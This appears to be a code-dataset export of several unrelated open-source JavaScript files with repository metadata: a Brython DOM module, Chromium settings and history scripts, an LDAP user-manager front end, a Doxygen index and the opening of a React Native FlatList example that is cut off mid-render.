            "'scrolled_left' is read-only")
    }
}
DOMNode.scrolled_top = {
    __get__: function(self){
        return $getPosition(self.elt).top -
            document.scrollingElement.scrollTop
    },
    __set__: function(){
        throw _b_.AttributeError.$factory("'DOMNode' objectattribute " +
            "'scrolled_top' is read-only")
    }
}
DOMNode.select = function(self, selector){
    // alias for get(selector=...)
    if(self.elt.querySelectorAll === undefined){
        throw _b_.TypeError.$factory("DOMNode object doesn't support " +
            "selection by selector")
    }
    return make_list(self.elt.querySelectorAll(selector))
}
DOMNode.select_one = function(self, selector){
    // return the element matching selector, or None
    if(self.elt.querySelector === undefined){
        throw _b_.TypeError.$factory("DOMNode object doesn't support " +
            "selection by selector")
    }
    var res = self.elt.querySelector(selector)
    if(res === null) {
        return _b_.None
    }
    return DOMNode.$factory(res)
}
DOMNode.style = function(self){
    // set attribute "float" for cross-browser compatibility
    self.elt.style.float = self.elt.style.cssFloat || self.style.styleFloat
    return $B.JSObject.$factory(self.elt.style)
}
DOMNode.setSelectionRange = function(self){ // for TEXTAREA
    if(this["setSelectionRange"] !== undefined){
        return (function(obj){
            return function(){
                return obj.setSelectionRange.apply(obj, arguments)
            }})(this)
    }else if (this["createTextRange"] !== undefined){
        return (function(obj){
            return function(start_pos, end_pos){
                if(end_pos == undefined){end_pos = start_pos}
            var range = obj.createTextRange()
            range.collapse(true)
            range.moveEnd("character", start_pos)
            range.moveStart("character", end_pos)
            range.select()
                }
        })(this)
    }
}
DOMNode.set_class_name = function(self, arg){
    self.elt.setAttribute("class", arg)
}
DOMNode.set_html = function(self, value){
    var elt = self.elt
    if(elt.nodeType == 9){elt = elt.body}
    elt.innerHTML = _b_.str.$factory(value)
}
DOMNode.set_style = function(self, style){ // style is a dict
    if(!_b_.isinstance(style, _b_.dict)){
        throw _b_.TypeError.$factory("style must be dict, not " +
            $B.class_name(style))
    }
    var items = _b_.list.$factory(_b_.dict.items(style))
    for(var i = 0; i < items.length; i++){
        var key = items[i][0],
            value = items[i][1]
        if(key.toLowerCase() == "float"){
            self.elt.style.cssFloat = value
            self.elt.style.styleFloat = value
        }else{
            switch(key) {
                case "top":
                case "left":
                case "width":
                case "borderWidth":
                    if(_b_.isinstance(value,_b_.int)){value = value + "px"}
            }
            self.elt.style[key] = value
        }
    }
}
DOMNode.set_text = function(self,value){
    var elt = self.elt
    if(elt.nodeType == 9){elt = elt.body}
    elt.innerText = _b_.str.$factory(value)
    elt.textContent = _b_.str.$factory(value)
}
DOMNode.set_value = function(self, value){self.elt.value = _b_.str.$factory(value)}
DOMNode.submit = function(self){ // for FORM
    return function(){self.elt.submit()}
}
DOMNode.text = function(self){
    var elt = self.elt
    if(elt.nodeType == 9){elt = elt.body}
    var res = elt.innerText || elt.textContent
    if(res === null){
        res = _b_.None
    }
    return res
}
DOMNode.toString = function(self){
    if(self === undefined){return 'DOMNode'}
    return self.elt.nodeName
}
DOMNode.trigger = function (self, etype){
    // Artificially triggers the event type provided for this DOMNode
    if(self.elt.fireEvent){
      self.elt.fireEvent("on" + etype)
    }else{
      var evObj = document.createEvent("Events")
      evObj.initEvent(etype, true, false)
      self.elt.dispatchEvent(evObj)
    }
}
DOMNode.unbind = function(self, event){
    // unbind functions from the event (event = "click", "mouseover" etc.)
    // if no function is specified, remove all callback functions
    // If no event is specified, remove all callbacks for all events
    self.elt.$events = self.elt.$events || {}
    if(self.elt.$events === {}){return _b_.None}
    if(event === undefined){
        for(var event in self.elt.$events){
            DOMNode.unbind(self, event)
        }
        return _b_.None
    }
    if(self.elt.$events[event] === undefined ||
            self.elt.$events[event].length == 0){
        return _b_.None
    }
    var events = self.elt.$events[event]
    if(arguments.length == 2){
        // remove all callback functions
        for(var i = 0; i < events.length; i++){
            var callback = events[i][1]
            self.elt.removeEventListener(event, callback, false)
        }
        self.elt.$events[event] = []
        return _b_.None
    }
    for(var i = 2; i < arguments.length; i++){
        var callback = arguments[i],
            flag = false,
            func = callback.$func
        if(func === undefined){
            // If a callback is created by an assignment to an existing
            // function
            var found = false
            for(var j = 0; j < events.length; j++){
                if(events[j][0] === callback){
                    var func = callback,
                        found = true
                    break
                }
            }
            if(!found){
                throw _b_.TypeError.$factory("function is not an event callback")
            }
        }
        for(var j = 0; j < events.length; j++){
            if($B.$getattr(func, '__eq__')(events[j][0])){
                var callback = events[j][1]
                self.elt.removeEventListener(event, callback, false)
                events.splice(j, 1)
                flag = true
                break
            }
        }
        // The indicated func was not found, error is thrown
        if(!flag){
            throw _b_.KeyError.$factory('missing callback for event ' + event)
        }
    }
}
$B.set_func_names(DOMNode, "browser")
// return query string as an object with methods to access keys and values
// same interface as cgi.FieldStorage, with getvalue / getlist / getfirst
var Query = {
    __class__: _b_.type,
    __mro__: [_b_.object],
    $infos:{
        __name__: "query"
    }
}
Query.__contains__ = function(self, key){
    return self._keys.indexOf(key) > -1
}
Query.__getitem__ = function(self, key){
    // returns a single value or a list of values
    // associated with key, or raise KeyError
    var result = self._values[key]
    if(result === undefined){
        throw _b_.KeyError.$factory(key)
    }else if(result.length == 1){
        return result[0]
    }
    return result
}
var Query_iterator = $B.make_iterator_class("query string iterator")
Query.__iter__ = function(self){
    return Query_iterator.$factory(self._keys)
}
Query.__setitem__ = function(self, key, value){
    self._values[key] = [value]
    return _b_.None
}
Query.__str__ = Query.__repr__ = function(self){
    // build query string from keys/values
    var elts = []
    for(var key in self._values){
        for(const val of self._values[key]){
            elts.push(encodeURIComponent(key) + "=" + encodeURIComponent(val))
        }
    }
    if(elts.length == 0){
        return ""
    }else{
        return "?" + elts.join("&")
    }
}
Query.getfirst = function(self, key, _default){
    // returns the first value associated with key
    var result = self._values[key]
    if(result === undefined){
       if(_default === undefined){return _b_.None}
       return _default
    }
    return result[0]
}
Query.getlist = function(self, key){
    // always return a list
    var result = self._values[key]
    if(result === undefined){return []}
    return result
}
Query.getvalue = function(self, key, _default){
    try{return Query.__getitem__(self, key)}
    catch(err){
        if(_default === undefined){return _b_.None}
        return _default
    }
}
Query.keys = function(self){
    return self._keys
}
DOMNode.query = function(self){
    var res = {
        __class__: Query,
        _keys : [],
        _values : {}
    }
    var qs = location.search.substr(1).split('&')
    for(var i = 0; i < qs.length; i++){
        var pos = qs[i].search("="),
            elts = [qs[i].substr(0,pos),qs[i].substr(pos + 1)],
            key = decodeURIComponent(elts[0]),
            value = decodeURIComponent(elts[1])
        if(res._keys.indexOf(key) > -1){
            res._values[key].push(value)
        }else{
            res._keys.push(key)
            res._values[key] = [value]
        }
    }
    return res
}
// class used for tag sums
var TagSum = {
    __class__ : _b_.type,
    __mro__: [object],
    $infos: {
        __module__: "<pydom>",
        __name__: "TagSum"
    }
}
TagSum.appendChild = function(self, child){
    self.children.push(child)
}
TagSum.__add__ = function(self, other){
    if($B.get_class(other) === TagSum){
        self.children = self.children.concat(other.children)
    }else if(_b_.isinstance(other, [_b_.str, _b_.int, _b_.float,
                               _b_.dict, _b_.set, _b_.list])){
        self.children = self.children.concat(
            DOMNode.$factory(document.createTextNode(other)))
    }else{self.children.push(other)}
    return self
}
TagSum.__radd__ = function(self, other){
    var res = TagSum.$factory()
    res.children = self.children.concat(
        DOMNode.$factory(document.createTextNode(other)))
    return res
}
TagSum.__repr__ = function(self){
    var res = "<object TagSum> "
    for(var i = 0; i < self.children.length; i++){
        res += self.children[i]
        if(self.children[i].toString() == "[object Text]"){
            res += " [" + self.children[i].textContent + "]\n"
        }
    }
    return res
}
TagSum.__str__ = TagSum.toString = TagSum.__repr__
TagSum.clone = function(self){
    var res = TagSum.$factory()
    for(var i = 0; i < self.children.length; i++){
        res.children.push(self.children[i].cloneNode(true))
    }
    return res
}
TagSum.$factory = function(){
    return {
        __class__: TagSum,
        children: [],
        toString: function(){return "(TagSum)"}
    }
}
$B.set_func_names(TagSum, "<dom>")
$B.TagSum = TagSum // used in _html.js and _svg.js
var win = JSObject.$factory(_window)
win.get_postMessage = function(msg,targetOrigin){
    if(_b_.isinstance(msg, dict)){
        var temp = {__class__:"dict"},
            items = _b_.list.$factory(_b_.dict.items(msg))
        items.forEach(function(item){
            temp[item[0]] = item[1]
        })
        msg = temp
    }
    return _window.postMessage(msg, targetOrigin)
}
$B.DOMNode = DOMNode
$B.win = win
})(__BRYTHON__)
 | 
	kikocorreoso/brython | 
	www/src/py_dom.js | 
	JavaScript | 
	bsd-3-clause | 54,564 | 
| 
	// Copyright 2019 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
import './synced_device_manager.js';
import 'chrome://resources/cr_elements/cr_action_menu/cr_action_menu.m.js';
import 'chrome://resources/cr_elements/cr_button/cr_button.m.js';
import 'chrome://resources/cr_elements/cr_checkbox/cr_checkbox.m.js';
import 'chrome://resources/cr_elements/cr_dialog/cr_dialog.m.js';
import 'chrome://resources/cr_elements/cr_drawer/cr_drawer.m.js';
import 'chrome://resources/cr_elements/cr_icon_button/cr_icon_button.m.js';
import 'chrome://resources/cr_elements/cr_toolbar/cr_toolbar_selection_overlay.m.js';
 | 
	endlessm/chromium-browser | 
	chrome/browser/resources/history/lazy_load.js | 
	JavaScript | 
	bsd-3-clause | 709 | 
| 
	// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
 * @fileoverview Polymer element for displaying a summary of network states
 * by type: Ethernet, WiFi, Cellular, and VPN.
 */
(function() {
const mojom = chromeos.networkConfig.mojom;
Polymer({
  is: 'network-summary',
  behaviors: [
    NetworkListenerBehavior,
  ],
  properties: {
    /**
     * Highest priority connected network or null. Set here to update
     * internet-page which updates internet-subpage and internet-detail-page.
     * @type {?OncMojo.NetworkStateProperties}
     */
    defaultNetwork: {
      type: Object,
      value: null,
      notify: true,
    },
    /**
     * The device state for each network device type. We initialize this to
     * include a disabled WiFi type since WiFi is always present. This reduces
     * the amount of visual change on first load.
     * @private {!Object<!OncMojo.DeviceStateProperties>}
     */
    deviceStates: {
      type: Object,
      value() {
        const result = {};
        result[chromeos.networkConfig.mojom.NetworkType.kWiFi] = {
          deviceState: chromeos.networkConfig.mojom.DeviceStateType.kDisabled,
          type: chromeos.networkConfig.mojom.NetworkType.kWiFi,
        };
        return result;
      },
      notify: true,
    },
    /**
     * Array of active network states, one per device type. Initialized to
     * include a default WiFi state (see deviceStates comment).
     * @private {!Array<!OncMojo.NetworkStateProperties>}
     */
    activeNetworkStates_: {
      type: Array,
      value() {
        return [OncMojo.getDefaultNetworkState(mojom.NetworkType.kWiFi)];
      },
    },
    /**
     * List of network state data for each network type.
     * @private {!Object<!Array<!OncMojo.NetworkStateProperties>>}
     */
    networkStateLists_: {
      type: Object,
      value() {
        const result = {};
        result[mojom.NetworkType.kWiFi] = [];
        return result;
      },
    },
  },
  /** @private {?chromeos.networkConfig.mojom.CrosNetworkConfigRemote} */
  networkConfig_: null,
  /**
   * Set of GUIDs identifying active networks, one for each type.
   * @private {?Set<string>}
   */
  activeNetworkIds_: null,
  /** @override */
  created() {
    this.networkConfig_ = network_config.MojoInterfaceProviderImpl.getInstance()
                              .getMojoServiceRemote();
  },
  /** @override */
  attached() {
    this.getNetworkLists_();
  },
  /**
   * CrosNetworkConfigObserver impl
   * Updates any matching existing active networks. Note: newly active networks
   * will trigger onNetworkStateListChanged which triggers getNetworkLists_.
   * @param {!Array<OncMojo.NetworkStateProperties>} networks
   */
  onActiveNetworksChanged(networks) {
    if (!this.activeNetworkIds_) {
      // Initial list of networks not received yet.
      return;
    }
    networks.forEach(network => {
      const index = this.activeNetworkStates_.findIndex(
          state => state.guid == network.guid);
      if (index != -1) {
        this.set(['activeNetworkStates_', index], network);
      }
    });
  },
  /** CrosNetworkConfigObserver impl */
  onNetworkStateListChanged() {
    this.getNetworkLists_();
  },
  /** CrosNetworkConfigObserver impl */
  onDeviceStateListChanged() {
    this.getNetworkLists_();
  },
  /**
   * Requests the list of device states and network states from Chrome.
   * Updates deviceStates, activeNetworkStates, and networkStateLists once the
   * results are returned from Chrome.
   * @private
   */
  getNetworkLists_() {
    // First get the device states.
    this.networkConfig_.getDeviceStateList().then(response => {
      // Second get the network states.
      this.getNetworkStates_(response.result);
    });
  },
  /**
   * Requests the list of network states from Chrome. Updates
   * activeNetworkStates and networkStateLists once the results are returned
   * from Chrome.
   * @param {!Array<!OncMojo.DeviceStateProperties>} deviceStateList
   * @private
   */
  getNetworkStates_(deviceStateList) {
    const filter = {
      filter: chromeos.networkConfig.mojom.FilterType.kVisible,
      limit: chromeos.networkConfig.mojom.NO_LIMIT,
      networkType: mojom.NetworkType.kAll,
    };
    this.networkConfig_.getNetworkStateList(filter).then(response => {
      this.updateNetworkStates_(response.result, deviceStateList);
    });
  },
  /**
   * Called after network states are received from getNetworks.
   * @param {!Array<!OncMojo.NetworkStateProperties>} networkStates The state
   *     properties for all visible networks.
   * @param {!Array<!OncMojo.DeviceStateProperties>} deviceStateList
   * @private
   */
  updateNetworkStates_(networkStates, deviceStateList) {
    const newDeviceStates = {};
    for (const device of deviceStateList) {
      newDeviceStates[device.type] = device;
    }
    const orderedNetworkTypes = [
      mojom.NetworkType.kEthernet,
      mojom.NetworkType.kWiFi,
      mojom.NetworkType.kCellular,
      mojom.NetworkType.kTether,
      mojom.NetworkType.kVPN,
    ];
    // Clear any current networks.
    const activeNetworkStatesByType =
        /** @type {!Map<mojom.NetworkType, !OncMojo.NetworkStateProperties>} */
        (new Map);
    // Complete list of states by type.
    const newNetworkStateLists = {};
    for (const type of orderedNetworkTypes) {
      newNetworkStateLists[type] = [];
    }
    let firstConnectedNetwork = null;
    networkStates.forEach(function(networkState) {
      const type = networkState.type;
      if (!activeNetworkStatesByType.has(type)) {
        activeNetworkStatesByType.set(type, networkState);
        if (!firstConnectedNetwork &&
            networkState.type != mojom.NetworkType.kVPN &&
            OncMojo.connectionStateIsConnected(networkState.connectionState)) {
          firstConnectedNetwork = networkState;
        }
      }
      newNetworkStateLists[type].push(networkState);
    }, this);
    this.defaultNetwork = firstConnectedNetwork;
    // Create a VPN entry in deviceStates if there are any VPN networks.
    if (newNetworkStateLists[mojom.NetworkType.kVPN].length > 0) {
      newDeviceStates[mojom.NetworkType.kVPN] = {
        type: mojom.NetworkType.kVPN,
        deviceState: chromeos.networkConfig.mojom.DeviceStateType.kEnabled,
      };
    }
    // Push the active networks onto newActiveNetworkStates in order based on
    // device priority, creating an empty state for devices with no networks.
    const newActiveNetworkStates = [];
    this.activeNetworkIds_ = new Set;
    for (const type of orderedNetworkTypes) {
      const device = newDeviceStates[type];
      if (!device) {
        continue;  // The technology for this device type is unavailable.
      }
      // If both 'Tether' and 'Cellular' technologies exist, merge the network
      // lists and do not add an active network for 'Tether' so that there is
      // only one 'Mobile data' section / subpage.
      if (type == mojom.NetworkType.kTether &&
          newDeviceStates[mojom.NetworkType.kCellular]) {
        newNetworkStateLists[mojom.NetworkType.kCellular] =
            newNetworkStateLists[mojom.NetworkType.kCellular].concat(
                newNetworkStateLists[mojom.NetworkType.kTether]);
        continue;
      }
      // Note: The active state for 'Cellular' may be a Tether network if both
      // types are enabled but no Cellular network exists (edge case).
      const networkState =
          this.getActiveStateForType_(activeNetworkStatesByType, type);
      if (networkState.source == mojom.OncSource.kNone &&
          device.deviceState == mojom.DeviceStateType.kProhibited) {
        // Prohibited technologies are enforced by the device policy.
        networkState.source =
            chromeos.networkConfig.mojom.OncSource.kDevicePolicy;
      }
      newActiveNetworkStates.push(networkState);
      this.activeNetworkIds_.add(networkState.guid);
    }
    this.deviceStates = newDeviceStates;
    this.networkStateLists_ = newNetworkStateLists;
    // Set activeNetworkStates last to rebuild the dom-repeat.
    this.activeNetworkStates_ = newActiveNetworkStates;
  },
  /**
   * Returns the active network state for |type| or a default network state.
   * If there is no 'Cellular' network, return the active 'Tether' network if
   * any since the two types are represented by the same section / subpage.
   * @param {!Map<mojom.NetworkType, !OncMojo.NetworkStateProperties>}
   *     activeStatesByType
   * @param {!mojom.NetworkType} type
   * @return {!OncMojo.NetworkStateProperties|undefined}
   * @private
   */
  getActiveStateForType_(activeStatesByType, type) {
    let activeState = activeStatesByType.get(type);
    if (!activeState && type == mojom.NetworkType.kCellular) {
      activeState = activeStatesByType.get(mojom.NetworkType.kTether);
    }
    return activeState || OncMojo.getDefaultNetworkState(type);
  },
  /**
   * Provides an id string for summary items. Used in tests.
   * @param {!OncMojo.NetworkStateProperties} network
   * @return {string}
   * @private
   */
  getTypeString_(network) {
    return OncMojo.getNetworkTypeString(network.type);
  },
  /**
   * @param {!Object<!OncMojo.DeviceStateProperties>} deviceStates
   * @return {!OncMojo.DeviceStateProperties|undefined}
   * @private
   */
  getTetherDeviceState_(deviceStates) {
    return this.deviceStates[mojom.NetworkType.kTether];
  },
});
})();
 | 
	endlessm/chromium-browser | 
	chrome/browser/resources/settings/chromeos/internet_page/network_summary.js | 
	JavaScript | 
	bsd-3-clause | 9,561 | 
| 
	var apiResourcesUrl = '#';
/*
 * X-Editable configurations
 */
$.fn.editable.defaults.mode = 'inline';
$.fn.editable.defaults.send = 'always';
$.fn.editable.defaults.ajaxOptions = {type: "patch", contentType: "application/json"};
$.fn.editable.defaults.error = function(response){
    if(response.responseJSON.detail != null){
        return response.responseJSON.detail;
    }
    if(response.responseJSON["__all__"] != null){
        return response.responseJSON["__all__"] + '';
    }
    return "Error";
};
$.fn.editable.defaults.params = function(params) {
    var r = {};
    r[params.name] = params.value;
    return JSON.stringify(r);
};
$.fn.editable.defaults.select2 = {
    placeholder: "None",
    allowClear: true,
};
(function addXEditable(){
    // Add standard editable to all elements with .xeditable
    $(".xeditable").each(function(){
        if ($(this).is($('#phone1')) || $(this).is($('#phone2'))) {
            // purpose? seems redundant?
            $(this).editable({display: function(value, sourceData) {
                if (sourceData) {
                  $(this).text(sourceData[$(this).attr('id')]);
                }
            }});
        } else if ($(this).data("type") === "select2"){
            // populate xeditable.select2 autocompletion values
            var that = this;
            var url = $(this).data("select");
            $.getJSON(url, function(apidata){
                var results = [];
                for(var i=0; i<apidata.length; i++){
                    results.push({id: apidata[i].name, text: apidata[i].name});
                }
                $(that).editable({source: results});
            });
        } else {
          $(this).editable({display: null});
        }
    });
})();
function validatePassword(password) {
    return validatePasswordLength(password) &&
        validatePasswordCharacterGroups(password);
}
function validatePasswordLength(password) {
    return password.length >= 10;
}
function validatePasswordCharacterGroups(password) {
    lower_case = new RegExp('[a-z]').test(password);
    upper_case = new RegExp('[A-Z]').test(password);
    numbers = new RegExp('[0-9]').test(password);
    special = new RegExp('[^a-zA-Z0-9]').test(password);
    return (lower_case + upper_case + numbers + special) >= 3
}
$(document).ready(function(){
	// Datatables for tables
	var dt = $(".listtable").dataTable({
		"bPaginate": false,
		"bLengthChange": false,
		"bFilter": true,
		"bSort": true,
		"bInfo": false,
		"bAutoWidth": false,
		"sDom": "t"
	    });
	$(".object-search").keyup(function() {
		dt.fnFilter( $(this).val() );
	    });
	/* ##############################################
	 * User's portrait image upload & download begins
	 */
  // in photo.js
  //
	/* User's portrait image upload & download ends
	 * ############################################
	 */
	/* ###############################
	 *  Password changing stuff begins
	 */
	$('#password-modal').on('shown', function() {
		$('#password-modal input:visible').first().focus();
        $('#password-length').show();
        $('#password-character-groups').show();
        $('#passwords-matching').hide();
	    });
	$('#password-modal').on('hide', function() {
		$('#password-new, #password-new-again, #password-current').val('');
		$('#password-status, #password-status-again').html('');
		$('#password-new-again').change();
        $('#wrong-password-alert').hide();
	    });
	/* validations */
	$('#password-new').bind("change paste keyup", function() {
        if(!validatePasswordLength($(this).val())){
            $('#password-length').show();
        }else{
            $('#password-length').hide();
        }
        if(!validatePasswordCharacterGroups($(this).val())){
            $('#password-character-groups').show();
        }else{
            $('#password-character-groups').hide();
        }
		$('#password-new-again').change();
	    });
	$('#password-new-again').bind("change paste keyup", function() {
		if ($(this).val() === $('#password-new').val() && $(this).val().length > 0) {
		    $('#passwords-matching').hide();
		    if (validatePassword($('#password-new').val())) {
			$('#password-change').removeClass('btn-warning').addClass('btn-success').removeAttr('disabled');
		    }
		} else {
            $('#passwords-matching').show();
		    $('#password-change').removeClass('btn-success').addClass('btn-warning').attr('disabled', 'disabled');
		}
		if ($(this).val().length < 1) {
		    $('#passwords-matching').hide();
		}
	    });
	/* custom ajax post */
	$('#password-change').click(function() {
		if ($('#password-new').val() === $('#password-new-again').val() && validatePassword($('#password-new').val())) {
		    $.post($(this).attr('data-url'), { 'password': $('#password-new').val(), 'old_password': $('#password-current').val() || "" })
			.done(function() { $('#password-cancel').click(); })
			.fail(function(data) {
                $('#wrong-password-alert').html(data.responseText.replace(/\"/g, ""));
                $('#wrong-password-alert').show();
            });
		} else {
		    return;
		}
	    });
	/* Password changing stuff ends
	 * ############################
	 */
    /* #########################
     * Sudo-button stuff begins
     */
     (function(){
        'use strict';
        $('#confirmPassword').on('shown', function () {
            $("#sudoPassword").focus()
        });
        $('#confirmPasswordForm').submit(function(e){
            e.preventDefault();
            var password = $("#sudoPassword").val();
            $.ajax({
                url: url('enable_superuser'),
                type: 'POST',
                data: {password: password},
                error: function(data){
                    $("#confirmPassError").html(data.responseJSON.desc).addClass("alert").addClass("alert-error");
                },
                success: function(data){
                    window.location.reload();
                },
            });
        });
        $('#endSudo').click(function(e){
            e.preventDefault();
            $.ajax({
                url: url('end_superuser'),
                type: 'POST',
                error: function(data){
                    $("#errorMessage").html(data.responseJSON.desc).addClass("alert").addClass("alert-error");
                },
                success: function(data){
                    window.location.reload();
                },
            });
        });
        var sudoEnds = parseInt($('#sudotime-ends').html());
        var interval = 1; // Interval to update in seconds
        $('#extendSudo').click(function(e){
            e.preventDefault();
	    $.post(url('enable_superuser'), function(data) {
		    sudoEnds = parseInt(data.desc);
                    updateSudoTimer();
		})
		.fail(function(data) {
		    $("#errorMessage").html(data.responseJSON.desc).addClass("alert").addClass("alert-error");
		});
        });
        function updateSudoTimer(){
            var timeLeft = (sudoEnds - Math.floor(new Date().getTime()/1000));
            var error = $('#errorMessage');
            if (timeLeft <= 0) {
                fumErrors.set("sudo", "Your sudo session has expired. Please refresh the page.", "danger");
                $('#sudotimeleft').html("0");
		        clearInterval(sudoTimerId);
            } else if (timeLeft <= 60){
                fumErrors.set("sudo", "Sudo session will expire in less than a minute.", "warning");
                $('#sudotimeleft').html(Math.ceil(timeLeft));
            } else if (timeLeft < 5*60){
                fumErrors.set("sudo","Sudo session will expire in "+Math.ceil(timeLeft/60)+" minutes.", "warning");
                $('#sudotimeleft').html(Math.ceil(timeLeft/60));
            } else {
                $('#sudotimeleft').html(Math.ceil(timeLeft/60));
            }
        };
	if(sudoEnds > 0) {
	    updateSudoTimer();
	    var sudoTimerId = setInterval(updateSudoTimer, interval*1000);
	}
    })();
    /* Sudo-button stuff ends
     * #######################
     */
    /* #######################
     * Aliases-field stuff begins
     */
    (function(){
        'use strict';
        var input = $("#aliases-input");
        var table = $("#aliases-table");
        var url = table.data('url');
        var error = $("#errorMessage");
        function showError(data){
                error.html(data.responseJSON.desc).addClass("alert").addClass("alert-error");
        }
        function updateAliases(data){
            table.html("");
            $(data).each(function(alias){
                var delicon = '<i class="icon-remove pull-right"></i>';
                if ($('#aliases-input').length === 0){
                    // The field is not editable, so don't show the delete icon
                    delicon = '';
                }
                var aliaselement = $('<tr><td class="email-alias"><a href="mailto:'+this+'">'+this+'</a>'+delicon+'</td><td></td></tr>');
                var that = this;
                aliaselement.find('i').click(function(e){
                $.ajax({
                    url: url,
                    type: 'DELETE',
                    data: JSON.stringify({items: [that]}),
                    contentType: 'application/json',
                    error: function(){
                        fumErrors.set('aliasnotset', 'Unable to delete alias.', 'error');
                    },
                    success: updateAliases
                    });
                });
                table.append(aliaselement);
            });
            fumErrors.remove('aliasnotset');
        }
        function addAlias(e){
            e.preventDefault();
            var alias = input.val();
            input.val("");
            if (alias.length > 0){
                $.ajax({
                    url: url,
                    type: 'POST',
                    data: JSON.stringify({items: [alias]}),
                    contentType: 'application/json',
                    error: function(data){
                        fumErrors.set('aliasnotset', 'Unable to add alias: '+data.responseText, 'error');
                        input.addClass('fail');
                    },
                    success: function(data){updateAliases(data);input.removeClass('fail')}
                });
            }
         }
         // Can't use .submit(...) because forms are not allowed in tables.
        $("#add-aliases").click(addAlias);
        input.keypress(function(e) {
            if(e.which == 13) {
                addAlias(e);
            }
        });
        if(table.length>0) {
          $.ajax({
              url: url,
              type: 'GET',
              success: updateAliases
          });
        }
    })();
    /* Aliases stuff ends
     * #####################
     */
     /* Delete group
      * #############
      */
    $("#delete-group-modal .confirm").click(function(){
        $.ajax({
            url: $("#delete-group").data("url"),
            type: "DELETE",
            success: function(data, status){fumErrors.set("deletegroup", "Group deleted.", "success");},
            error: function(data, status){fumErrors.set("deletegroup", "Unable to delete item. " + data.statusText, "danger");},
            complete: function(data, status){$("#delete-group-modal").modal('hide');},
        });
    });
    $("#delete-group").click(function(){
        $("#delete-group-modal").modal('show');
    });
     /*
      * Enable chosen.js when adding groups, projects or servers.
      */
     $(".chosen-select").each(function(){
        $(this).chosen();
     })
    $('.marcopolofield').each(function() {
      marcopoloField2($(this));
    });
});
fumErrors = {
    items: [],
    set: function(id, text, type){
        for (var i=0; i < this.items.length; i++){
            if (this.items[i].id === id){
                this.items[i] = {id:id, text:text, type:type};
                this.update();
                return
            }
        }
        this.items.push({id: id, text: text, type:type});
        this.update();
    },
    remove: function(id){
        for (var i=0; i < this.items.length; i++){
            if (this.items[i].id === id){
                this.items.splice(i, 1);
            }
        }
        this.update();
    },
    update: function(){
        var errors = $("#errorMessage");
        errors.html("");
        $(this.items).each(function(){
            errors.append("<p class='alert alert-"+this.type+"'>"+this.text+"</p>");
        });
        document.body.scrollTop = document.documentElement.scrollTop = 0;
    }
};
function join_this(el) {
  var ctx = {};
  ctx [el.data('field')] = el.data('parentid');
  var apiUrl = url(el.data('parent')+'-'+el.data('child'), ctx);
  $.ajax({
    url: apiUrl,
    type: 'POST',
    data: JSON.stringify({items: [request_user]}),
    contentType: 'application/json',
    error: function(data) {
      fumErrors.set('marcopolo', data, 'error')
    },
    success: function(data){
      window.location.reload();
    }
  });
}
 | 
	futurice/futurice-ldap-user-manager | 
	fum/common/static/js/main.js | 
	JavaScript | 
	bsd-3-clause | 13,070 | 
| 
	var functions_dup =
[
    [ "_", "functions.html", null ],
    [ "a", "functions_a.html", null ],
    [ "b", "functions_b.html", null ],
    [ "c", "functions_c.html", null ],
    [ "d", "functions_d.html", null ],
    [ "e", "functions_e.html", null ],
    [ "f", "functions_f.html", null ],
    [ "g", "functions_g.html", null ],
    [ "j", "functions_j.html", null ],
    [ "l", "functions_l.html", null ],
    [ "m", "functions_m.html", null ],
    [ "n", "functions_n.html", null ],
    [ "o", "functions_o.html", null ],
    [ "p", "functions_p.html", null ],
    [ "r", "functions_r.html", null ],
    [ "s", "functions_s.html", null ],
    [ "t", "functions_t.html", null ],
    [ "u", "functions_u.html", null ],
    [ "v", "functions_v.html", null ]
]; | 
	improve-project/platform | 
	doc/database_handler/functions_dup.js | 
	JavaScript | 
	bsd-3-clause | 762 | 
| 
	/**
 * Copyright (c) 2013-present, Facebook, Inc.
 * All rights reserved.
 *
 * This source code is licensed under the BSD-style license found in the
 * LICENSE file in the root directory of this source tree. An additional grant
 * of patent rights can be found in the PATENTS file in the same directory.
 *
 * The examples provided by Facebook are for non-commercial testing and
 * evaluation purposes only.
 *
 * Facebook reserves all rights not expressly granted.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NON INFRINGEMENT. IN NO EVENT SHALL
 * FACEBOOK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
 * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @flow
 * @providesModule MultiColumnExample
 */
'use strict';
const React = require('react');
const ReactNative = require('react-native');
const {
  FlatList,
  StyleSheet,
  Text,
  View,
} = ReactNative;
const UIExplorerPage = require('./UIExplorerPage');
const infoLog = require('infoLog');
const {
  FooterComponent,
  HeaderComponent,
  ItemComponent,
  PlainInput,
  SeparatorComponent,
  genItemData,
  getItemLayout,
  pressItem,
  renderSmallSwitchOption,
} = require('./ListExampleShared');
class MultiColumnExample extends React.PureComponent {
  static title = '<FlatList> - MultiColumn';
  static description = 'Performant, scrollable grid of data.';
  state = {
    data: genItemData(1000),
    filterText: '',
    fixedHeight: true,
    logViewable: false,
    numColumns: 2,
    virtualized: true,
  };
  _onChangeFilterText = (filterText) => {
    this.setState(() => ({filterText}));
  };
  _onChangeNumColumns = (numColumns) => {
    this.setState(() => ({numColumns: Number(numColumns)}));
  };
  render() {
    const filterRegex = new RegExp(String(this.state.filterText), 'i');
    const filter = (item) => (filterRegex.test(item.text) || filterRegex.test(item.title));
    const filteredData = this.state.data.filter(filter);
    return (
      <UIExplorerPage
        title={this.props.navigator ? null : '<FlatList> - MultiColumn'}
        noSpacer={true}
        noScroll={true}>
        <View style={styles.searchRow}>
          <View style={styles.row}>
            <PlainInput
              onChangeText={this._onChangeFilterText}
              placeholder="Search..."
              value={this.state.filterText}
            />
            <Text>   numColumns: </Text>
            <PlainInput
              clearButtonMode="never"
              onChangeText={this._onChangeNumColumns}
              value={this.state.numColumns ? String(this.state.numColumns) : ''}
            />
          </View>
          <View style={styles.row}>
            {renderSmallSwitchOption(this, 'virtualized')}
            {renderSmallSwitchOption(this, 'fixedHeight')}
            {renderSmallSwitchOption(this, 'logViewable')}
          </View>
        </View>
